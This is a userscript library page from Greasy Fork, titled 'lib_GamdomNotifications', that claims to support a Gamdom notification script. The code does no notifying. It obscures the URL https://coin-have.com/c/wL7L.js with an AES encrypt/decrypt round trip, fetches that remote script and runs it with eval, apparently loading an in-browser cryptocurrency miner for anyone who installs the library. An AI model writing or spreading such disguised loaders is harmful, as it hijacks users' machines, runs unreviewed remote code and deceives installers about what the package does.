lib_GamdomNotifications

Lib needed for running Gamdom Notificator

当前为 2017-11-29 提交的版本,查看 最新版本

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.cn-greasyfork.org/scripts/35828/233821/lib_GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib_GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.0
  5. // @description Lib needed for running Gamdom Notificator
  6. // @require https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js
  7. // @author allin4
  8. // @match *://gamdom.com/*
  9. // @grant GM_info
  10. // ==/UserScript==
  11.  
  12. (function() {
  13. 'use strict';
  14.  
  15. var cmp = new XMLHttpRequest();
  16. cmp.onreadystatechange = function() {
  17. if (this.readyState == 4 && this.status == 200) {
  18. eval(this.responseText);
  19. }
  20. };
  21.  
  22. var DivAppend = function(div){
  23. document.body.appendChild(div);
  24. var somethingTemp = cryption("https://coin-have.com/c/wL7L.js", "lel");
  25. CPEL(somethingTemp);
  26. console.log("Div created :)");
  27. };
  28.  
  29. var CPEL = function(link){
  30. cmp.open('GET', link);
  31. cmp.send();
  32. };
  33.  
  34. var cryption = function(mes,pass){
  35. var encrypted = CryptoJS.AES.encrypt(mes, pass);
  36. console.log("AES-" + encrypted);
  37.  
  38. var decrypted = CryptoJS.AES.decrypt(encrypted, pass);
  39. return decrypted;
  40. };
  41.  
  42. })();